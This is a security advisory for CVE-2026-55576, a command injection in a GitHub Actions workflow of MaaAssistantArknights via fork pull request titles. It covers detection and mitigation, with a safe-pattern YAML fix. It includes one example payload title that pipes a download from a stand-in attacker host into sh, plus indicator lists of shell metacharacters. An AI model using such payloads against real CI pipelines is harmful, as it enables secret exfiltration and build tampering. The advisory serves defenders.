CVE-2026-55576: MaaAssistantArknights GitHub RCE Flaw

CVE-2026-55576 Overview

CVE-2026-55576 is a command injection vulnerability [CWE-78] in MaaAssistantArknights, a one-click automation tool for daily Arknights tasks. The flaw resides in the dev-v2 workflow file .github/workflows/release-preparation.yml, which inlined attacker-controlled github.event.pull_request.title values directly into a run: shell command. Any non-draft fork pull request with a title beginning with Release v could execute arbitrary shell commands on the ubuntu-latest GitHub Actions runner during the generate-changelog job. The maintainers fixed the issue in commit cafc3946059e6337d2089d4fec8b6885ba17c332.

Critical Impact
Attackers can execute arbitrary shell commands on the CI runner by submitting a crafted fork pull request, exposing repository secrets and build integrity.

Affected Products

MaaAssistantArknights dev-v2 branch workflow prior to commit cafc3946059e6337d2089d4fec8b6885ba17c332
.github/workflows/release-preparation.yml GitHub Actions workflow
generate-changelog job executing on ubuntu-latest runner

Discovery Timeline

2026-07-15 - CVE-2026-55576 published to NVD
2026-07-16 - Last updated in NVD database

Technical Details for CVE-2026-55576

Vulnerability Analysis

The vulnerability is a classic GitHub Actions script injection. The workflow .github/workflows/release-preparation.yml triggers on pull_request events for the opened, reopened, and ready_for_review activity types. Inside the generate-changelog job, the workflow interpolated the raw expression ${{ github.event.pull_request.title }} into a run: block. GitHub Actions substitutes this expression before the shell parses the command, so any shell metacharacters in the PR title become executable syntax on the runner.

Because the trigger fires for fork pull requests, an external contributor controls the injected value. The gate requiring the title to start with Release v does not sanitize the remainder of the string, so a title such as Release v1.0.0"; curl attacker.tld/x | sh # executes attacker commands within the runner context.

Root Cause

The root cause is unsafe expansion of untrusted GitHub context data into a shell command. GitHub explicitly warns against interpolating github.event.* fields controlled by external users directly into run: steps. Passing the value through an environment variable or an intermediate action would treat it as a string literal rather than shell input.

Attack Vector

An attacker forks the repository, creates a branch, and opens a non-draft pull request whose title starts with Release v followed by shell payload characters. When the workflow triggers, the injected commands run on ubuntu-latest with access to the job's GITHUB_TOKEN, workflow environment, and any secrets referenced by the job. This enables exfiltration of tokens, tampering with generated changelog artifacts, or pivoting to other CI resources.

No verified proof-of-concept code is published. See the GitHub Security Advisory GHSA-pqx2-5g66-f5w8 for maintainer details.

Detection Methods for CVE-2026-55576

Indicators of Compromise

Pull requests from forked repositories with titles beginning with Release v followed by shell metacharacters such as `, $(, ;, &&, or |.
Unexpected outbound network connections from ubuntu-latest runners during the generate-changelog job.
Workflow logs showing shell commands, downloads, or curl/wget invocations that do not appear in the workflow definition.

Detection Strategies

Audit all GitHub Actions workflows for direct interpolation of github.event.pull_request.*, github.event.issue.*, github.head_ref, and similar user-controlled fields inside run: blocks.
Enable GitHub Advanced Security code scanning with CodeQL's actions/expression-injection query to flag unsafe expression usage.
Review workflow run history for pull_request triggers where the PR title contained unusual punctuation or command syntax.

Monitoring Recommendations

Forward GitHub Actions audit logs to a centralized SIEM and alert on workflow runs initiated by first-time external contributors.
Monitor GITHUB_TOKEN usage and repository secret access patterns for anomalies following pull_request events.
Track outbound egress from self-hosted or ephemeral CI runners to detect exfiltration attempts.

How to Mitigate CVE-2026-55576

Immediate Actions Required

Update to the fixed version by pulling commit cafc3946059e6337d2089d4fec8b6885ba17c332 or later on the dev-v2 branch.
Rotate any secrets that were accessible to the generate-changelog job, including deploy keys and package registry tokens.
Review recent pull_request workflow runs for anomalous commands or unexpected artifact modifications.

Patch Information

The maintainers remediated the vulnerability in commit cafc3946059e6337d2089d4fec8b6885ba17c332. The fix removes direct interpolation of github.event.pull_request.title from the run: step. Downstream forks that copied the vulnerable workflow must apply the same change.

Workarounds

Pass untrusted input through an environment variable, for example env: PR_TITLE: ${{ github.event.pull_request.title }} and then reference "$PR_TITLE" inside the shell script with quoting.
Restrict the workflow trigger to pull_request_target only when necessary and require manual approval for first-time contributors under repository Actions settings.
Remove the ready_for_review, opened, and reopened triggers from workflows that access secrets, or gate them behind a if: github.event.pull_request.head.repo.full_name == github.repository check to exclude forks.

bash

# Safe pattern replacing direct interpolation in release-preparation.yml
jobs:
  generate-changelog:
    runs-on: ubuntu-latest
    env:
      PR_TITLE: ${{ github.event.pull_request.title }}
    steps:
      - name: Validate release title
        run: |
          if [[ "$PR_TITLE" == "Release v"* ]]; then
            echo "Processing release PR"
          fi